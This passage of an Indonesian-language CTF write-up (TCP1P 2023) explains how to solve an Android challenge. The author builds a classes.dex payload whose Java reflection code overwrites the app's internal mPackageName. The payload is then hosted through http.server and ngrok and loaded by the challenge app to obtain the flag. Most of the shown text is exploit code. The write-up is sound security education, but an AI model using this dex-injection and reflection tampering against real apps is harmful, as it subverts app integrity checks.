class="type">Object</span> <span class="variable">mBoundApplication</span> <span class="operator">=</span> mBoundApplicationField.get(activityThread);</span><br><span class="line"></span><br><span class="line">            Field[] mBoandFields = mBoundApplication.getClass().getDeclaredFields();</span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; fields.length; i++) &#123;</span><br><span class="line">                Log.e(<span class="string">&quot;mBoandFields&quot;</span> + String.valueOf(i), mBoandFields[i].getName());</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Dan akhirnya didapatilah field <code>mPackageName</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/r1YNF0qWa.png"                                     ></p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.kuro.payload;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> androidx.appcompat.app.AppCompatActivity;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.os.Bundle;</span><br><span class="line"><span class="keyword">import</span> android.util.Log;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MainActivity</span> <span class="keyword">extends</span> <span class="title class_">AppCompatActivity</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onCreate</span><span class="params">(Bundle savedInstanceState)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>.onCreate(savedInstanceState);</span><br><span class="line">        setContentView(R.layout.activity_main);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Class&lt;?&gt; clazz = Class.forName(<span class="string">&quot;android.app.ActivityThread&quot;</span>);</span><br><span class="line">            <span class="type">Method</span> <span class="variable">currentActivityThread</span> <span class="operator">=</span> clazz.getDeclaredMethod(<span class="string">&quot;currentActivityThread&quot;</span>);</span><br><span class="line">            currentActivityThread.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">activityThread</span> <span class="operator">=</span> currentActivityThread.invoke(<span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line">            Field[] fields = clazz.getDeclaredFields();</span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; fields.length; i++) &#123;</span><br><span class="line">                Log.e(<span class="string">&quot;Field&quot;</span> + String.valueOf(i), fields[i].getName());</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="type">Field</span> <span class="variable">mBoundApplicationField</span> <span class="operator">=</span> clazz.getDeclaredField(<span class="string">&quot;mBoundApplication&quot;</span>);</span><br><span class="line">            mBoundApplicationField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">mBoundApplication</span> <span class="operator">=</span> mBoundApplicationField.get(activityThread);</span><br><span class="line"></span><br><span class="line"><span class="comment">//            Field[] mBoundFields = mBoundApplication.getClass().getDeclaredFields();</span></span><br><span class="line"><span class="comment">//            for(int i = 0; i &lt; fields.length; i++) &#123;</span></span><br><span class="line"><span class="comment">//                Log.e(&quot;mBoundFields&quot; + String.valueOf(i), mBoundFields[i].getName());</span></span><br><span class="line"><span class="comment">//            &#125;</span></span><br><span class="line"></span><br><span class="line">            <span class="type">Field</span> <span class="variable">loadedApkInfoField</span> <span class="operator">=</span> mBoundApplication.getClass().getDeclaredField(<span class="string">&quot;info&quot;</span>);</span><br><span class="line">            loadedApkInfoField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">loadedApkInfo</span> <span class="operator">=</span> loadedApkInfoField.get(mBoundApplication);</span><br><span class="line"></span><br><span class="line">            Field[] apkInfoFields = loadedApkInfo.getClass().getDeclaredFields();</span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; fields.length; i++) &#123;</span><br><span class="line">                Log.e(<span class="string">&quot;apkInfoFields&quot;</span> + String.valueOf(i), apkInfoFields[i].getName());</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Setelah mendapatkan field yang benar, sekarang tinggal merubah value dari mPackageName ini ke <code>l33t_h4x0r</code> dengan kode berikut ini:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.kuro.payload;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> androidx.appcompat.app.AppCompatActivity;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.os.Bundle;</span><br><span class="line"><span class="keyword">import</span> android.util.Log;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MainActivity</span> <span class="keyword">extends</span> <span class="title class_">AppCompatActivity</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onCreate</span><span class="params">(Bundle savedInstanceState)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>.onCreate(savedInstanceState);</span><br><span class="line">        setContentView(R.layout.activity_main);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// Get the current ActivityThread instance</span></span><br><span class="line">            Class&lt;?&gt; activityThreadClass = Class.forName(<span class="string">&quot;android.app.ActivityThread&quot;</span>);</span><br><span class="line">            <span class="type">Method</span> <span class="variable">currentActivityThread</span> <span class="operator">=</span> activityThreadClass.getDeclaredMethod(<span class="string">&quot;currentActivityThread&quot;</span>);</span><br><span class="line">            currentActivityThread.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">activityThread</span> <span class="operator">=</span> currentActivityThread.invoke(<span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// Get the loaded package info</span></span><br><span class="line">            <span class="type">Field</span> <span class="variable">mBoundApplicationField</span> <span class="operator">=</span> activityThreadClass.getDeclaredField(<span class="string">&quot;mBoundApplication&quot;</span>);</span><br><span class="line">            mBoundApplicationField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">mBoundApplication</span> <span class="operator">=</span> mBoundApplicationField.get(activityThread);</span><br><span class="line"></span><br><span class="line">            <span class="type">Field</span> <span class="variable">loadedApkInfoField</span> <span class="operator">=</span> mBoundApplication.getClass().getDeclaredField(<span class="string">&quot;info&quot;</span>);</span><br><span class="line">            loadedApkInfoField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">loadedApkInfo</span> <span class="operator">=</span> loadedApkInfoField.get(mBoundApplication);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// Set the new package name</span></span><br><span class="line">            <span class="type">Field</span> <span class="variable">packageNameField</span> <span class="operator">=</span> loadedApkInfo.getClass().getDeclaredField(<span class="string">&quot;mPackageName&quot;</span>);</span><br><span class="line">            packageNameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            packageNameField.set(loadedApkInfo, <span class="string">&quot;l33t_h4x0r&quot;</span>);</span><br><span class="line"></span><br><span class="line">            Log.e(<span class="string">&quot;PackageName&quot;</span>, getPackageName());</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Setelah dijalankan dan dilihat dilogcat package name sudah berhasil dirubah ke <code>l33t_h4x0r</code>.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/rJHpY0qZp.png"                                     ></p><p>Setelah itu tinggal copy code nya dan masukan kedalam class <code>Main</code> dan didalam fungsi <code>execute</code>.</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.kuro.payload;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.content.pm.ApplicationInfo;</span><br><span class="line"><span class="keyword">import</span> android.util.Log;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">execute</span><span class="params">()</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// Get the current ActivityThread instance</span></span><br><span class="line">            Class&lt;?&gt; activityThreadClass = Class.forName(<span class="string">&quot;android.app.ActivityThread&quot;</span>);</span><br><span class="line">            <span class="type">Method</span> <span class="variable">currentActivityThread</span> <span class="operator">=</span> activityThreadClass.getDeclaredMethod(<span class="string">&quot;currentActivityThread&quot;</span>);</span><br><span class="line">            currentActivityThread.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">activityThread</span> <span class="operator">=</span> currentActivityThread.invoke(<span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// Get the loaded package info</span></span><br><span class="line">            <span class="type">Field</span> <span class="variable">mBoundApplicationField</span> <span class="operator">=</span> activityThreadClass.getDeclaredField(<span class="string">&quot;mBoundApplication&quot;</span>);</span><br><span class="line">            mBoundApplicationField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">mBoundApplication</span> <span class="operator">=</span> mBoundApplicationField.get(activityThread);</span><br><span class="line"></span><br><span class="line">            <span class="type">Field</span> <span class="variable">loadedApkInfoField</span> <span class="operator">=</span> mBoundApplication.getClass().getDeclaredField(<span class="string">&quot;info&quot;</span>);</span><br><span class="line">            loadedApkInfoField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">loadedApkInfo</span> <span class="operator">=</span> loadedApkInfoField.get(mBoundApplication);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// Set the new package name</span></span><br><span class="line">            <span class="type">Field</span> <span class="variable">packageNameField</span> <span class="operator">=</span> loadedApkInfo.getClass().getDeclaredField(<span class="string">&quot;mPackageName&quot;</span>);</span><br><span class="line">            packageNameField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            packageNameField.set(loadedApkInfo, <span class="string">&quot;l33t_h4x0r&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Setelah itu set gradle nya agar ketika dibuild classes.dex nya itu hanya satu dan tidak multiple dengan menambahkan config sebagai berikut:</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/SkBPcA5W6.png"                                     ></p><p>Setelah itu kita build projek ini.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/H1mFcA5-a.png"                                     ></p><p>Akan muncul popup di pojok kanan bawah seperti berikut ini.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/HJBiqCcba.png"                                     ></p><p>Klik <code>locate</code> dan akan diarahkan ke folder apk yang sudah dibuild:</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/H1UA909-T.png"                                     ></p><p>Masuk kedalam folder debug.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/H1F1iR9W6.png"                                     ></p><p>Dan <code>app-debug.apk</code> ini adalah hasil compile kita tadi, setelahnya kita buka apk ini di <code>jadx</code> untuk kita ambil classes.dex nya dan kita pakai di aplikasi challenge.</p><p>folder apk hasil compile ada di <code>&lt;Nama Folder Projek&gt;\app\build\outputs\apk\debug</code>.</p><p>Setelah dibuka dengan jadx, kita save all hasil decompile ini dan masukan kedalam sebuah folder, saya sendiri memasukannya ke folder <code>kelasss</code>.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/BJIcoAqWT.png"                                     ></p><p>Setelah itu kita copy <code>classes.dex</code> nya yang terdapat di folder <code>kelasss/resources/classes.dex</code> ke folder yang lain untuk bisa kita transfer ke aplikasi challenge.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/ByiAoAcWT.png"                                     ></p><p>Saya memasukannya di folder internals saja dan saya rubah namanya ke <code>payload.dex</code> dan menjalankan http.server dan ngrok, setelah itu tinggal masukan url nya ke box dan exploit kita berhasil untuk mendapatkan flagnya.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/HkEfp0qbp.png"                                     ></p><p>Tinggal dijalankan di Virtual Android Device dan didapatkan flagnya:</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/SydWl1jba.png"                                     ></p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference:"></a>Reference:</h2><ul><li><a class="link"   href="https://android.googlesource.com/platform/frameworks/base.git/+/master/core/java/android/app/ActivityThread.java" >https://android.googlesource.com/platform/frameworks/base.git/+/master/core/java/android/app/ActivityThread.java<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link"   href="https://www.digitalocean.com/community/tutorials/java-reflection-example-tutorial" >https://www.digitalocean.com/community/tutorials/java-reflection-example-tutorial<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link"   href="https://www.haptik.ai/tech/using-reflection-in-android/" >https://www.haptik.ai/tech/using-reflection-in-android/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link"   href="https://stackoverflow.com/questions/1754714/android-and-reflection" >https://stackoverflow.com/questions/1754714/android-and-reflection<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link"   href="https://stackoverflow.com/questions/1438420/how-to-get-a-class-object-from-the-class-name-in-java" >https://stackoverflow.com/questions/1438420/how-to-get-a-class-object-from-the-class-name-in-java<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link"   href="https://www.geeksforgeeks.org/reflection-in-java/" >https://www.geeksforgeeks.org/reflection-in-java/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link"   href="https://stackoverflow.com/questions/61757838/is-it-possible-to-get-class-object-of-an-app-from-injected-dex-by-using-java-ref" >https://stackoverflow.com/questions/61757838/is-it-possible-to-get-class-object-of-an-app-from-injected-dex-by-using-java-ref<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link"   href="https://github.com/aimardcr/APKKiller" >https://github.com/aimardcr/APKKiller<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;img  
                     lazyload
                     src=&quot;/images/loading.svg&quot;
                     data-src=&quot;https://hackmd.io/_upl</summary>
      
    
    
    
    <category term="tcp1p 2023" scheme="https://lbyte.id/categories/tcp1p-2023/"/>
    
    
    <category term="mobile" scheme="https://lbyte.id/tags/mobile/"/>
    
    <category term="intent" scheme="https://lbyte.id/tags/intent/"/>
    
    <category term="ctf" scheme="https://lbyte.id/tags/ctf/"/>
    
    <category term="jadx" scheme="https://lbyte.id/tags/jadx/"/>
    
    <category term="android" scheme="https://lbyte.id/tags/android/"/>
    
    <category term="java" scheme="https://lbyte.id/tags/java/"/>
    
  </entry>
  
</feed>
